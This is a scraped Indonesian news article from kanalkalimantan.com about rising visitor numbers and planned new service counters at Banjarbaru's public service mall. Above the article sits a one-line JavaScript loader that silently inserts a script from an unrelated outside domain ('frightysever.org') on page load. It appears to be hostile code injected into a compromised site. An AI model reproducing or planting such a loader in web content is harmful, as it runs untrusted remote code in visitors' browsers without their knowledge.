(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sejak dibuka operasional Mal Pelayanan Publik (MPP) Banjarbaru pada 15 Februari 2021 lalu, terus menunjukan progres positif dengan tren kenaikan pengunjung.
Bahkan dalam satu hari, setidaknya ada 200 orang yang datang dalam memproses urusan mereka.
Sebagaimana diketahui, MPP Banjarbaru sendiri dibangun sebagai pusat layanan masyarakat. Dimana di dalam satu bangunan ini tersedia berbagai gerai pelayanan dari SKPD pemerintah, instansi, maupun BUMN.
Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Banjarbaru, Rahmah Khairita meyakini kunjungan masyarakat akan terus meningkat seiring berjalan waktu. Ia bahkan menyebut jumlah terbanyak pernah mencapai 800 orang hanya dalam lima hari.
“Kita pernah mencatat sampai 800 pengunjung dalam lima hari. Seluruh layanan yang ada di sini mengalami peningkatan jumlah pengunjung. Contohnya saja layanan soal perizinan, bisa mencapai 50 orang dalam sehari,” akunya, Selasa (23/3/2021).
Baca juga : TPU Guntung Lua Perlahan Habis, Ini Permakaman Tiga Kecamatan yang Disiapkan
Sampai saat ini ada 8 gerai pelayanan yang sudah dibuka di MPP Banjarbaru. Yakni, Samsat Banjarbaru, Dinas PMPTSP, BPPRD Banjarbaru, BNN Banjarbaru, Polres Banjarbaru, Bank Kalsel, BRI, serta BPJS Ketenagakerjaan.
Terbaru ini, Khairita mengungkapkan bakal ada 4 gerai layanan yang akan bergabung. Peresmian itu hanya tinggal menunggu penandatangan perjanjian kerja sama (MoU) dari Wali Kota Banjarbaru Aditya Mufti Ariffin.
“Akan ada empat gerai pelayanan bergabung di sini. PT Taspen, Kejaksaan Negeri (Kejari), Pengadilan Negeri, dan Pengadilan Agama. Tinggal tunggu penandatangan MoU dari bapak Wali Kota,” ujarnya.
Selain itu disebutkan pula ada gerai layanan lain yang dalam proses tahapan perencanaan untuk bergabung di MPP Banjarbaru. Yaitu, Dinas Kependudukan dan Catatan Sipil (Disdukcapil), Kantor Imigrasi Banjarmasin, Dinas Koperasi dan UMKM, serta BPJS Kesehatan.
“Tapi ini masih dalam proses perencanaan. Karena kami juga harus menyiapkan space untuk gerai mereka nanti. Jadi masih belum dipastikan,” sebut Khairita.
Diakuinya juga dengan kondisi pengunjung yang terus membludak setiap harinya mengharuskan adanya penambahan fasilitas pendukung. Salah satunya ialah layanan informasi yang dikhususkan bagi para pengunjung.
“Karena kita banyak mendapati pengunjung yang masih bingung saat datang ke sini. Nah kita harus siapkan layanan infomasi, untuk mengatasi hal itu. Kemudian perlu juga penataan parkir, mengingat jumlah pengunjung yang datang sangat banyak,” tuntasnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More
This website uses cookies.